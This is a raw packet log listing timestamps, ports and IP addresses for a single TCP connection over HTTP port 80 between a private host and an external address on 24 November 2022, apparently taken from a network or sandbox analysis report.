Nov 24, 2022 13:27:53.182964087 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.182974100 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.182993889 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.183012962 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.183018923 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.183031082 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.183048964 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.183049917 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.183073044 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.183075905 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.183092117 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.183109999 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.183128119 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.183135986 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.183146954 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.183157921 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.183166027 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.183182955 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.183191061 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.183232069 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.185163021 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.185182095 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.185200930 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.185219049 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.185234070 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.185251951 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.185271025 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.185282946 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.185290098 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.185307026 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.185309887 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.185317039 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.185328960 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.185336113 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.185347080 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.185365915 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.185372114 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.185384035 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.185401917 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.185419083 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.185426950 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.185439110 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.185452938 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.185480118 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.185652018 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.185671091 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.185688972 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.185707092 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.185720921 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.185725927 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.185745955 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.185753107 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.185765028 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.185782909 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.185785055 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.185811996 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.185843945 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.185851097 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.185864925 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.185882092 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.185884953 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.185903072 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.185921907 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.185940981 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.185942888 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.185957909 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.185969114 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.185976028 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.185993910 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.185995102 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.186012030 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.186029911 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.186038971 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.186048985 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.186067104 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.186084986 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.186103106 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.186110973 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.186111927 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.186120987 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.186137915 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.186137915 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.186155081 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.186172962 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.186182022 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.186192036 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.186209917 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.186227083 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.186228991 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.186244011 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.186276913 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.186279058 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.186294079 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.186305046 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.186314106 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.186331034 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.186342001 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.186363935 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.186382055 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.186399937 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.186408997 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.186418056 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.186433077 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.186438084 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.186455965 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.186458111 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.186474085 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.186492920 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.186511993 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.186517000 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.186532021 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.186532021 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.186549902 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.186567068 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.186573982 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.186602116 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.186619997 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.186636925 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.186651945 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.186654091 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.186666965 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.186695099 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.186697960 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.186825991 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.186844110 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.186863899 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.186872005 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.186892986 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.186911106 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.186956882 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.186956882 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.187005043 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.187046051 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.187066078 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.187083960 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.187103033 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.187124014 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.187134027 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.187134981 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.187143087 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.187172890 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.187175989 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.187195063 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.187213898 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.187231064 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.187233925 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.187251091 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.187268972 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.187287092 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.187295914 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.187305927 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.187314987 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.187324047 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.187331915 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.187342882 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.187361002 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.187369108 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.187380075 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.187397957 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.187412977 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.187428951 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.187443972 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.187455893 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.187474966 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.187494993 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.187499046 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.187514067 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.187527895 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.187534094 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.187540054 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.187552929 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.187571049 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.187577963 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.187588930 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.187608957 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.187628031 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.187628984 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.187645912 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.187652111 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.187665939 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.187685013 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.187695980 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.187702894 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.187721014 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.187735081 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.187755108 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.187768936 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.187788010 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.187808037 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.187808037 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.187827110 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.187846899 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.187849998 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.187869072 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.187911034 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.187939882 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.187958956 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.187975883 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.187979937 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.187995911 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.188013077 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.188030005 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.188035011 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.188059092 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.188891888 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.188910961 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.188931942 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.188949108 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.188951969 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.188971043 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.188976049 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.188991070 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.189008951 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.189016104 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.189028025 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.189044952 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.189045906 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.189064026 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.189079046 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.189096928 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.189109087 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.189122915 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.189135075 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.189148903 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.189162016 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.189174891 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.189178944 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.189265966 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.190546036 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.190566063 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.190584898 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.190603018 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.190623045 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.190643072 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.190648079 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.190661907 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.190680981 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.190684080 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.190684080 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.190700054 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.190718889 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.190726042 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.190738916 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.190757990 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.190763950 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.190783024 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.190788984 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.190804958 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.190823078 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.190828085 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.190846920 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.190865040 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.190870047 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.190896988 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.190915108 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.190932989 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.190943956 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.190952063 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.190973043 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.190973043 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.190996885 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.191032887 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.191051960 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.191076994 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.191077948 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.191097021 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.191114902 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.191133976 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.191140890 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.191152096 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.191165924 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.191171885 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.191190004 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.191195011 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.191206932 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.191236973 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.191245079 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.191263914 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.191283941 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.191287041 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.191302061 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.191322088 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.191339970 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.191344023 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.191359997 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.191368103 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.191379070 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.191411018 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.191421986 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.191431046 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.191450119 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.191469908 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.191477060 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.191487074 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.191488981 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.191543102 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.191587925 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.191606998 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.191627026 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.191646099 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.191651106 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.191664934 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.191683054 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.191693068 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.191701889 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.191720963 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.191739082 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.191745043 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.191756964 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.191766024 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.191775084 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.191792965 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.191804886 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.191828012 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.191845894 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.191864967 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.191869020 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.191884041 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.191890001 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.191904068 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.191922903 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.191941023 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.191946983 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.191961050 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.191967964 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.191979885 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.191997051 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.192003965 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.192014933 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.192034006 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.192039013 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.192053080 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.192071915 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.192080021 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.192090034 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.192109108 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.192126989 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.192136049 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.192143917 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.192157984 CET	49702	80	192.168.2.4	66.235.200.147
